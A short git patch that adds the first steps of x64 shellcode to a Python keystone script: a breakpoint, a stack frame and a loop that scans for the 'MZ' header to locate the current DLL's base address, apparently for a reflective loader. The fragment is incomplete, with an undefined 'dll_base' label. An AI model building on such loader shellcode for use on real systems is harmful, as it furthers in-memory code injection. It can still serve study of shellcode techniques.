From 704287ffadddb9ea725360c12ae22ad04840ac1a Mon Sep 17 00:00:00 2001 From: violet-devsec Date: Sat, 7 Jun 2025 07:51:23 -0700 Subject: [PATCH] Calculating current dll base --- shellcode.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/shellcode.py b/shellcode.py index d05f5fd..4eaf03d 100644 --- a/shellcode.py +++ b/shellcode.py @@ -1,6 +1,23 @@ import ctypes, struct from keystone import * -CODE = ( ) +CODE = ( + "start: " + " int3 ;" + " push rbp ;" + " mov rbp, rsp ;" + " add rsp, 0xfffffffffffffdf8 ;" # Make some space in stack + #STEP 0 : calculate dll images current base address + "find_dllstart: " + " lea rsi, [rip+dll_base] ;" # Trying to get address of end of this shellcode + " mov rax, 0x5a4d ;" + "dll_compare: " + " inc rsi ;" # Increment the loop counter + " mov rdi, rsi ;" + " scasw ;" # compares the content of the AX register to the word addressed by DI + " jne dll_compare ;" + "dll_base_found: " + " mov r12, rsi ;" # R12 has DLL base address + ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE)